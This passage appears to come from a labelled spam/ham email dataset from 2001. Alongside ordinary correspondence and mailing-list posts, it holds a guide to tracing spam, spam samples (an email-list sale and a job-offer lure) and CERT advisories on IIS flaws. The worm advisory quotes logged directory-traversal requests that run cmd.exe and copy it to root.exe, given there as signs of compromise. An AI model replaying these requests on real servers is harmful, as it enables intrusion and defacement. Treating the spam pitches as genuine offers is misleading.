hilary.cane@utas.edu.au","Fri, 20 Apr 2001 11:42:10 -0400",WAVES April 18 report,"WAVES detected a type II associated with the April 18 proton event. WAVES observed an intermittent type II from about 02:55 UT (10 MHz) to about 14:00 UT (100 kHz). This type II was preceded by the usual SA type IIIs between 02:15 and 02:45. Rough speed estimate with the usual assumptions would be about 950 km/sec or so. This is quite a bit higher than the 550 km/sec from Culgoora, although the early part of our event near the sun seems to fit their speed pretty well. It's the 100 kHz stuff that needs the high speed. Using our speed, the shock would arrive at 1 AU sometime after 23 UT on April 20. MLK ",0,0 Xxxxx 2ndLt Matthew W ,"""'cameronc@usna.edu'"" ","Tue, 24 Apr 2001 09:23:39 -0400",Former EE300 student,"Sir, As you may or may not remember, I was one of your EE300 students in the fall of 1998. The class did not go well for me, and suffice to say I was more or less glad to have passed it by a hair with a D, and a low one at that. It was my only D at the Academy, but I honestly got out of the course what I put into it. Now I am an 0602 Communications Officer in the Marine Corps and currently in the first month of a six month MOS training course. For what its worth, and though I know it is cliche, I have to admit that I now wish I had put more effort into your course. If I could go back and take that course again, I would do it without hesitation. Little did I ever think then that such information would actually apply to me, personally, as it does now on a daily basis. And what I failed to take with me back then I am having to learn the hard way now that it truly matters. Surprisingly, I do remember quite a bit about the basics of EE and it is serving me well, which only leads me to believe that if I had applied myself two and a half years ago I could have spared myself a lot of trouble both then and now. So in conclusion, thank you for what you taught me and for holding me accountable. Frankly, your class was not as hard as I had believed it to be at the time. And what I did take away has still put me way ahead of many of my peers who attended other institutions and have not even had enough exposure to EE (which is the basis for what we do as communicators) to recieve a low D in a ""bull major"" course. Very Respectfully, 2ndLt. M.W. Xxxxx ",0,0 ,,,,"by nersp.nerdc.ufl.edu (8.9.3/8.9.3/2.1.0) with SMTP id MAA74438; Wed, 25 Apr 2001 12:23:04 -0400 Date: Wed, 25 Apr 2001 12:23:04 -0400 Message-Id: <200104251623.MAA74438@nersp.nerdc.ufl.edu> From: mailcentre@sinatown.com To: USERNAME@nersp.nerdc.ufl.edu Subject: HK$280 or US$35 to get 30,000,000 e-mail address X-Mailer: snEtV2AhorANevsNdOCTyW Content-Type: text/plain; X-Priority: 3 X-MSMail-Priority: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from Quoted-Printable to 8bit by nersp.nerdc.ufl.edu id MAA74438 200,000 Fax number of Hong Kong Enterprises 1,500,000 E-mail list for Hong Kong 1,000,000 E-mail list for China 2,000,000 E-mail list for Taiwan 25,000,000 E-mail list for the world. This is your best way to get the above information to promote your product. Only HK$280 or US$35 can get it. (Postage excluded if outside Hong Kong) If you only got the hit rate only 0.5%, there is (200,000+1,500,000+1,000,000+2,000,000+25,000,000)*0.5/100=148500 customers. If you got only USD1.00 from each customer, you can earn USD148,5000.00 from here. Give us a e-mail for your contact information. Process Now that we've got the full source of a spam message that was sent to us, let's look at it to try and figure out where email originated from and see how we can alert the system administrator of the spam. Note that the first three lines of the above source show the path the email took. In some messages, multiple hops will be made, but they will almost always be composed of three line blocks such as this. In those cases, you will want to go to the last block on the list to find the first email server that received the message. See the below examples for more on this. Notice that the message claims that: Received: from leo (pomuhn02193.netvigator.com [208.151.78.193]) by nersp.nerdc.ufl.edu (8.9.3/8.9.3/2.1.0) with SMTP id MAA74438; Wed, 25 Apr 2001 12:23:04 -0400 Meaning a machine named leo who claimed to be pomuhn02193.netvigator.com with an IP address of 208.151.78.193 sent a message through nersp.nerdc.ufl.edu to the user on Wed, 25 Apr 2001. The machine name is configured by the user and so we can't trust that, and the name pomuhn02193.netvigator.com can be faked easily, but it's harder to fake the IP address. So 208.151.78.193 is our first bit of information that will lead us to our spam report. Now it's time for us to find out where to send our complain based on the IP. Our first stop is http://swhois.net/. Swhois is a smart whois query that will recursively try whois servers until it has the right server for a given IP address. When we try our suspect IP, we're told that it is from: Cable & Wireless USA (NETBLK-CW-10BLK) CW-10BLK 208.128.0.0 - 208.175.255.255 Hong Kong Telephone, Inc. MIAA 28/F TELECOM TOWER (NETBLK-CW-208-151-64) CW-208-151-64 208.151.64.0 - 208.151.95.255 The descriptions in parenthesis are links to more detailed information for each of those records, so we're going to click on both of those to find the email address we need to send the complaint to. The second link gives us the email sellect@netvigator.com, and the first one gives ipadmin@cw.net. The best emails to send the spam report to would first be: sellect@netvigator.com, abuse@netvigator.com, and postmaster@netvigator.com. If we don't receive a reply from them, or if we think that our complaint might be better heard by the first provider, we can always send it to those addresses as well (abuse@cw.net, postmaster@cw.net). Additional Examples Here are some additional examples to demonstrate how to locate the correct source IP from an email. Note that even the source IP on the first connection can be spoofed, however, it requires an insecure mail server to send through to do that, and, in that case, often going to the second server the mail was sent to and complaining that their mail server is misconfigured can be a positive step to take. EMAIL #1 Received: from smtp.ufl.edu (sp28fe.nerdc.ufl.edu [128.227.128.108]) by mail.grove.ufl.edu (8.9.3/8.9.3/h3) with ESMTP id LAA20364 for ; Mon, 26 Feb 2001 11:56:56 -0500 (EST) From: toner4@e247.com Received: from clas.ufl.edu (fury.clas.ufl.edu [128.227.148.247]) by smtp.ufl.edu (8.11.2/8.11.2/2.2.1) with ESMTP id f1QGt5H58750 for ; Mon, 26 Feb 2001 11:55:05 -0500 Received: from marble.rexelusa.com ([12.18.100.217]) by clas.ufl.edu (8.9.3+Sun/8.9.1/dna) with ESMTP id LAA05138 for ; Mon, 26 Feb 2001 11:55:04 -0500 (EST) Message-Id: <200102261655.LAA05138@clas.ufl.edu> Received: from ddcfirewall.Rexelusa.com (firewall1.rexelusa.com [10.1.1.25]) by marble.rexelusa.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id FQ6A5WAG; Sun, 25 Feb 2001 16:19:12 -0600 To: happyguy@republic.com Date: Sun, 25 Feb 01 15:33:35 EST Subject: toner supplies X-UIDL: 7a187e738164a673124e17e6bfb3ac77 -----Original Message----- From: toner4@e247.com [mailto:toner4@e247.com] Sent: Sunday, February 25, 2001 3:34 PM To: happyguy@republic.com Subject: toner supplies PLEASE FORWARD TO THE PERSON RESPONSIBLE FOR PURCHASING YOUR LASER PRINTER SUPPLIES The source IP appears to be: 12.18.100.217 EMAIL #2 Received: from post.cnt.ru (post.cnt.ru [212.15.122.243]) by nersp.nerdc.ufl.edu (8.9.3/8.9.3/2.1.0) with ESMTP id AAA56716 for ; Thu, 26 Apr 2001 00:00:08 -0400 Received: from mail.com (ppp1-43.dial-up.cnt.ru [212.15.118.43]) by post.cnt.ru (8.11.3/8.11.1) with SMTP id f3Q3vtA01460; Thu, 26 Apr 2001 07:57:56 +0400 Message-Id: <200104260357.f3Q3vtA01460@post.cnt.ru> From: ""Altervest-Nara"" To: Subject:=?Windows-1251?Q?=EA=EE=F2=F2=E5=E4=E6=E8!?= Date: Thu, 26 Apr 2001 07:58:34 ������? (����) MIME-Version: 1.0 Content-Type: text/plain; charset=""windows-1251"" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: post ��� "" ���� As this shows, many spam messages are in a foreign language. The source IP appears to be: 212.15.118.43 Security Alerts WMF VulnerabilityThere is a critical vulnerability in most versions of windows that is being actively exploited. Patches are now available from Windows Update, or Security Bulletin MS06-001. The UF Security Team has an informational site with details and a check to see if you are vulnerable. Lupper WormThe Lupper Worm is scanning and attempting to compromise Linux web servers running vulnerable web applications. For more information please read the SANS ISC and Symantec write-ups.UF Network Services, (352) 392-2061Please contact UFIRT with any corrections or questions.Visit our spam information page for help with spam/virus related questions This file last modified Monday, 06-Mar-2006 16:22:36 EST",0,1 Euro-Rental ,cameronc@arctic.usna.edu,,"Stellenangebot(DE), Presentacion de trabajo (ES) ","Untitled Document Sehr geehrte Damen und Herren, Wir sind froh, Ihnen die Mцglichkeit anzubieten, sich der EURO RENTAL - anzuschlieЯen, die einer der Leader auf dem europдischen Markt der Hausvermietung ist. Dank dem steigenden Interesse an unseren Dienstleistungen haben wir offene Stellen in Spanien und Deutschland. Im Moment kцnnen wir viele Arbeitsstellen anbieten, darunter als Teilbeschдftigung, ohne Arbeitserfahrung und Fachkenntnisse. Um mehr Information zu bekommen, besuchen Sie bitte unsere WEBSITE und FRAGEN sie nach den offenen Stellen AN. Die Bearbeitung von Einreichungen beginnt am 27. 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",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 02 May 2001 18:24:16 -0400",CERT Advisory CA-2001-10," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-10 Buffer Overflow Vulnerability in Microsoft IIS 5.0 Original release date: May 02, 2001 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running Microsoft Windows 2000 with IIS 5.0 enabled Overview A vulnerability exists in Microsoft IIS 5.0 running on Windows 2000 that allows a remote intruder to run arbitrary code on the victim machine, allowing them to gain complete administrative control of the machine. A proof-of-concept exploit is publicly available for this vulnerability, which increases the urgency that system administrators apply the patch. I. Description Windows 2000 includes support for the Internet Printing Protocol (IPP) via an ISAPI extension. According to Microsoft, this extension is installed by default on all Windows 2000 systems, but it is only accesible through IIS 5.0. The IPP extension contains a buffer overflow that could be used by an attacker to execute arbitrary code in the Local System security context, essentially giving the attacker compete control of the system. This vulnerability was discovered by eEye Digital Security. Microsoft has issued the following bulletin regarding this vulnerability: http://www.microsoft.com/technet/security/bulletin/MS01-023.asp This vulnerability has been assigned the identifier CAN-2001-0241 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0241 II. Impact Anyone who can reach a vulnerable web server can execute arbitrary code in the Local System security context, resulting in the intruder gaining complete control of the system. Note that this may be significantly more serious than a simple ""web defacement."" III. Solution Apply a patch from your vendor A patch is available from Microsoft at http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321 Additional advice on securing IIS web servers is available from http://www.microsoft.com/technet/security/iis5chk.asp http://www.microsoft.com/technet/security/tools.asp Appendix A. Vendor Information Microsoft Corporation The following documents regarding this vulnerability are available from Microsoft: http://www.microsoft.com/technet/security/bulletin/MS01-023.asp References 1. VU#516648: Microsoft Windows 2000/Internet Information Server (IIS) 5.0 Internet Printing Protocol (IPP) ISAPI contains buffer overflow, CERT/CC, 05/02/2001, http://www.kb.cert.org/vuls/id/516648 Authors: Chad Dougherty, Shawn Hernan. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-10.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History May 02, 2001: Initial Release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBOvCEtQYcfu8gsZJZAQG11QP+Ipbm1xOc1d0fiY6KbQefsvBVbUDKdwFk jN2mBm9BM28lniyxvP2Jhbw5vt/6vxFlYKnXF7jQvuw5VpHSPkOs+zuQamt15a0u 3rd4l2nWgRFo10vaykFPYLYjjpfW0BOz5ULkkgKwjbswDQfQQ00o9EurXDXOt276 9pPCMThcy4Q= =eVKj -----END PGP SIGNATURE----- ",0,1 """Bridget R. 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",1,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 08 May 2001 01:06:48 -0400",CERT Advisory CA-2001-11," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-11 sadmind/IIS Worm Original release date: May 08, 2001 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running unpatched versions of Microsoft IIS * Systems running unpatched versions of Solaris up to, and including, Solaris 7 Overview The CERT/CC has received reports of a new piece of self-propagating malicious code (referred to here as the sadmind/IIS worm). The worm uses two well-known vulnerabilities to compromise systems and deface web pages. I. Description Based on preliminary analysis, the sadmind/IIS worm exploits a vulnerability in Solaris systems and subsequently installs software to attack Microsoft IIS web servers. In addition, it includes a component to propagate itself automatically to other vulnerable Solaris systems. It will add ""+ +"" to the .rhosts file in the root user's home directory. Finally, it will modify the index.html on the host Solaris system after compromising 2,000 IIS systems. To compromise the Solaris systems, the worm takes advantage of a two-year-old buffer overflow vulnerability in the Solstice sadmind program. For more information on this vulnerability, see http://www.kb.cert.org/vuls/id/28934 http://www.cert.org/advisories/CA-1999-16.html After successfully compromising the Solaris systems, it uses a seven-month-old vulnerability to compromise the IIS systems. For additional information about this vulnerability, see http://www.kb.cert.org/vuls/id/111677 Solaris systems that are successfully compromised via the worm exhibit the following characteristics: * Sample syslog entry from compromised Solaris system May 7 02:40:01 carrier.domain.com inetd[139]: /usr/sbin/sadmind: Bus Error - c ore dumped May 7 02:40:01 carrier.domain.com last message repeated 1 time May 7 02:40:03 carrier.domain.com last message repeated 1 time May 7 02:40:06 carrier.domain.com inetd[139]: /usr/sbin/sadmind: Segmentation Fault - core dumped May 7 02:40:03 carrier.domain.com last message repeated 1 time May 7 02:40:06 carrier.domain.com inetd[139]: /usr/sbin/sadmind: Segmentation Fault - core dumped May 7 02:40:08 carrier.domain.com inetd[139]: /usr/sbin/sadmind: Hangup May 7 02:40:08 carrier.domain.com last message repeated 1 time May 7 02:44:14 carrier.domain.com inetd[139]: /usr/sbin/sadmind: Killed * A rootshell listening on TCP port 600 * Existence of the directories * /dev/cub contains logs of compromised machines * /dev/cuc contains tools that the worm uses to operate and propagate Running processes of the scripts associated with the worm, such as the following: * /bin/sh /dev/cuc/sadmin.sh * /dev/cuc/grabbb -t 3 -a .yyy.yyy -b .xxx.xxx 111 * /dev/cuc/grabbb -t 3 -a .yyy.yyy -b .xxx.xxx 80 * /bin/sh /dev/cuc/uniattack.sh * /bin/sh /dev/cuc/time.sh * /usr/sbin/inetd -s /tmp/.f * /bin/sleep 300 Microsoft IIS servers that are successfully compromised exhibit the following characteristics: * Modified web pages that read as follows: fuck USA Government fuck PoizonBOx contact:sysadmcn@yahoo.com.cn * Sample Log from Attacked IIS Server 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 \\ GET /scripts/../../winnt/system32/cmd.exe /c+dir 200 - 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 \\ GET /scripts/../../winnt/system32/cmd.exe /c+dir+..\\ 200 - 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 \\ GET /scripts/../../winnt/system32/cmd.exe \\ /c+copy+\\winnt\\system32\\cmd.exe+root.exe 502 - 2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 \\ GET /scripts/root.exe /c+echo+\\ <HTML code inserted here>.././index.asp 502 - II. Impact Solaris systems compromised by this worm are being used to scan and compromise other Solaris and IIS systems. IIS systems compromised by this worm can suffer modified web content. Intruders can use the vulnerabilities exploited by this worm to execute arbitrary code with root privileges on vulnerable Solaris systems, and arbitrary commands with the privileges of the IUSR_machinename account on vulnerable Windows systems. We are receiving reports of other activity, including one report of files being destroyed on the compromised Windows machine, rendering them unbootable. It is unclear at this time if this activity is directly related to this worm. III. Solutions Apply a patch from your vendor A patch is available from Microsoft at http://www.microsoft.com/technet/security/bulletin/MS00-078.asp For IIS Version 4: http://www.microsoft.com/ntserver/nts/downloads/critical/q26986 2/default.asp For IIS Version 5: http://www.microsoft.com/windows2000/downloads/critical/q269862 /default.asp Additional advice on securing IIS web servers is available from http://www.microsoft.com/technet/security/iis5chk.asp http://www.microsoft.com/technet/security/tools.asp Apply a patch from Sun Microsystems as described in Sun Security Bulletin #00191: http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=se cbull/191&type=0&nav=sec.sba Appendix A. Vendor Information Microsoft Corporation The following documents regarding this vulnerability are available from Microsoft: http://www.microsoft.com/technet/security/bulletin/MS01-023.asp Sun Microsystems Sun has issued the following bulletin for this vulnerability: http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=se cbull/191&type=0&nav=sec.sba References 1. Vulnerability Note VU#111677: Microsoft IIS 4.0 / 5.0 vulnerable to directory traversal via extended unicode in url (MS00-078) http://www.kb.cert.org/vuls/id/111677 2. CERT Advisory CA-1999-16 Buffer Overflow in Sun Solstice AdminSuite Daemon sadmind http://www.cert.org/advisories/CA-1999-16.html Authors: Chad Dougherty, Shawn Hernan, Jeff Havrilla, Jeff Carpenter, Art Manion, Ian Finlay, John Shaffer ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-11.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History May 08, 2001: Initial Release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBOvd6LAYcfu8gsZJZAQFyUAP8DVaGiB1G7LM2FFsx5YEWEIPFD8Qt/HDI A+GTyi/LA2JUAVCA5GX5GCMqMOoKEczYJCAIysoacal7YOJOTZliTqCQQV1tbK+8 8J3IdSRBo5oKsAKeQ5M2Hg78uZPGJwOwooNoQDsKzxVJXo0Bng3YBtiIVG3flg6x 8IoirGdclIw= =+B8w -----END PGP SIGNATURE----- ",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 15 May 2001 11:11:38 -0400",CERT Advisory CA-2001-12," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS Original release date: May 15, 2001 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running Microsoft IIS Overview A serious vulnerability in Microsoft IIS may allow remote intruders to execute commands on an IIS web server. This vulnerability closely resembles a previous vulnerability in IIS that was widely exploited. The CERT/CC urges IIS administrators to take action to correct this vulnerability. I. Description URIs may be encoded according to RFC 2396. Among other things, this RFC provides an encoding for arbitrary octets using the percent sign (%) and hexadecimal characters. Quoting from RFC 2396: An escaped octet is encoded as a character triplet, consisting of the percent character ""%"" followed by the two hexadecimal digits representing the octet code. For example, ""%20"" is the escaped encoding for the US-ASCII space character. escaped = ""%"" hex hex hex = digit | ""A"" | ""B"" | ""C"" | ""D"" | ""E"" | ""F"" Like all web servers, Microsoft IIS decodes input URIs to a canonical format. Thus, the following encoded string: A%20Filename%20With%20Spaces will get decoded to A Filename With Spaces Unfortunately, IIS decodes some of the input twice. The second decoding is superfluous. Security checks are applied to the results of the first decoding, but IIS utilizes the results of the second decoding. If the results of the first decoding pass the security checks and the results of the second decoding refer to a valid file, access will be granted to the file even if it should not be. More information is available at http://www.microsoft.com/technet/security/bulletin/MS01-026.asp http://www.nsfocus.com/english/homepage/sa01-02.htm http://www.kb.cert.org/vuls/id/789543 Note that this does not permit intruders to bypass ACLs enforced by the filesystem, only security checks performed by IIS. We encourage you to configure your web server according to the guidelines provided in http://www.microsoft.com/technet/security/iis5chk.asp http://www.microsoft.com/technet/security/iischk.asp http://www.microsoft.com/technet/security/tools.asp Theses guidelines can help you reduce your exposure to this problem, and possibly to problems that have not yet been discovered. This issue was discovered by NSFocus. The CVE Project has assigned the following identifier to this vulnerability: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0333 This vulnerability has many similarities to the Web Server Folder Directory Traversal Vulnerability, which has been widely exploited. For more information on that vulnerability, see http://www.kb.cert.org/vuls/id/111677 II. Impact Intruders can run arbitrary commands with the privileges of the IUSR_machinename account. III. Solutions Apply a patch from your vendor Information on patches from Microsoft is available at http://www.microsoft.com/technet/security/bulletin/MS01-026.asp Additional advice on securing IIS web servers is available from http://www.microsoft.com/technet/security/iis5chk.asp http://www.microsoft.com/technet/security/tools.asp Appendix A. Vendor Information Microsoft Corporation The following documents regarding this vulnerability are available from Microsoft: http://www.microsoft.com/technet/security/bulletin/MS01-026.asp Authors: Shawn Hernan. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-12.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History May 15, 2001: Initial Release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBOwFD9wYcfu8gsZJZAQEc0AP6A7XLQiQ7to6uzTeOyFRb+vXUBI1zBmT1 TvVwLodq6wfeS0vG/+Ta0KC28CFthDs9vUrw6HTnVeeFilKRqUhPgR8Izgd56ePc SKalqxv41DRvkusTlvrygFw1IUzdCJ0/EzWUiRpqu1QV7ZWmNTTVG4ycoEM++cLh 67h5IqMR/iU= =z3yR -----END PGP SIGNATURE----- ",0,1 Serge Rey ,CALFOLK@mail.sdsu.edu,"Thu, 17 May 2001 08:55:31 -0700",Re: Why the Macintosh rulez!,"On Thu, May 17, 2001 at 07:11:10AM -0700, Peter Atterton wrote: > Colleagues, > > Dr. Atterton's affection for the PC-platform in lieu of the > serious and elegant Macintosh platform, led him to release > a question-mark and gibberish-scarred version of his > eloquent Lecturers/Faculty manifesto on CALFOLK last night. > Using my beloved G3, I have attempted to rescue his lucid prose > from the vagaries of the Internet and Microsoft. > > Yours, Bill Nericcio > > > Lecturers Being Shafted > by Dr. Peter Atterton > -snip- of peter's informative and eloquent post on the plight of lecturers. which, btw, came through fine on my system in the original post. bill, there is nothing inherently wrong with the pc-platform, so long as you choose the proper operating system[1] ;-> -- Sergio J. Rey http://typhoon.sdsu.edu/rey.html All models are wrong but some are useful - G.E.P. Box [1] IF OPERATING SYSTEMS RAN THE AIRLINES UNIX Airways Everyone brings one piece of the plane along when they come to the airport. They all go out on the runway and put the plane together piece by piece, arguing non-stop about what kind of plane they are supposed to be building. Air DOS Everybody pushes the airplane until it glides, then they jump on and let the plane coast until it hits the ground again. Then they push again, jump on again, and so on ... Mac Airlines All the stewards, captains, baggage handlers, and ticket agents look and act exactly the same. Every time you ask questions about details, you are gently but firmly told that you don't need to know, don't want to know, and everything will be done for you without your ever having to know, so just shut up. Windows Air The terminal is pretty and colorful, with friendly stewards, easy baggage check and boarding, and a smooth take-off. After about 10 minutes in the air, the plane explodes with no warning whatsoever. Windows NT Air Just like Windows Air, but costs more, uses much bigger planes, and takes out all the other aircraft within a 40-mile radius when it explodes. Linux Air Disgruntled employees of all the other OS airlines decide to start their own airline. They build the planes, ticket counters, and pave the runways themselves. They charge a small fee to cover the cost of printing the ticket, but you can also download and print the ticket yourself. When you board the plane, you are given a seat, four bolts, a wrench and a copy of the seat-HOWTO.html. Once settled, the fully adjustable seat is very comfortable, the plan leaves and arrives on time without a single problem, the in-flight meal is wonderful. You try to tell customers of the other airlines about the great trip, but all they can say is, ""You had to do what with the seat?"" ",0,1 KellySt@aol.com,starship-design@lists.uoregon.edu,"Fri, 18 May 2001 18:39:08 -0400",Re: starship-design: Re: Mystery force tugs,"In a message dated 5/16/01 11:00:54 PM, rmarlin@network-one.com writes: >This ""news"" is getting to be two or three years old now, and yet it still > >circulates. The solution was found a long time ago- IR photon pressure >from > >the RTG power supplies aboard all four probes causes the (extremely minute) > >deltaV. After many years of flight, that minute deltaV becomes readily > >detectable. How can thermal emmiters hung off to the side, push the ships backward? >From VM Fri May 18 16:54:30 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""891"" ""Friday"" ""18"" ""May"" ""2001"" ""16:44:13"" ""-0700"" ""Steve VanDevender"" ""stevev@efn.org"" nil ""23"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 891 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4INj0924782 for starship-design-outgoing; Fri, 18 May 2001 16:45:00 -0700 (PDT) Received: from clavin.efn.org (root@clavin.efn.org [206.163.176.10]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4INiww24772 for ; Fri, 18 May 2001 16:44:58 -0700 (PDT) Received: from tzadkiel.efn.org (tzadkiel.efn.org [206.163.182.194]) by clavin.efn.org (8.10.1/8.10.1) with ESMTP id f4INivf09476 for ; Fri, 18 May 2001 16:44:57 -0700 (PDT) Received: (from stevev@localhost) by tzadkiel.efn.org (8.10.1/8.10.1) id f4INiFO09580; Fri, 18 May 2001 16:44:15 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15109.46029.196379.924826@tzadkiel.efn.org> In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) ""Cuyahoga Valley"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Re: Mystery force tugs Date: Fri, 18 May 2001 16:44:13 -0700 KellySt@aol.com writes: > In a message dated 5/16/01 11:00:54 PM, rmarlin@network-one.com writes: > > >This ""news"" is getting to be two or three years old now, and yet it still > > > >circulates. The solution was found a long time ago- IR photon pressure > >from > > > >the RTG power supplies aboard all four probes causes the (extremely minute) > > > >deltaV. After many years of flight, that minute deltaV becomes readily > > > >detectable. > > > How can thermal emmiters hung off to the side, push the ships backward? If the thermal radiation from the RTGs is not emitted equally in all directions, then it would produce a net thrust opposite the direction it is emitted most strongly. There are a variety of ways this could happen, such as an asymmetrical temperature distribution in the RTGs themselves or the RTGs being obscured behind some part of the spacecraft. >From VM Fri May 18 17:54:56 2001 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""669"" ""Friday"" ""18"" ""May"" ""2001"" ""19:06:25"" ""-0500"" ""Gene & James Marlin"" ""rmarlin@network-one.com"" nil ""16"" ""Re: starship-design: Re: Mystery force tugs"" ""^From:"" nil nil ""5"" nil nil nil nil nil] nil) Content-Length: 669 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.10.1/8.10.1) id f4J06WM02891 for starship-design-outgoing; Fri, 18 May 2001 17:06:32 -0700 (PDT) Received: from mail.bignetsouth.net (mail.ayrix.net [64.49.1.26]) by darkwing.uoregon.edu (8.10.1/8.10.1) with ESMTP id f4J06Vw02885 for ; Fri, 18 May 2001 17:06:31 -0700 (PDT) Received: from y4c7d6 ([64.49.6.52]) by mail.bignetsouth.net (Post.Office MTA v3.5.3 release 223 ID# 0-57710U53000L800S0V35) with SMTP id net for ; Fri, 18 May 2001 20:14:59 -0400 Message-ID: <000d01c0dff7$8c262480$34063140@y4c7d6> References: <15109.46029.196379.924826@tzadkiel.efn.org> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 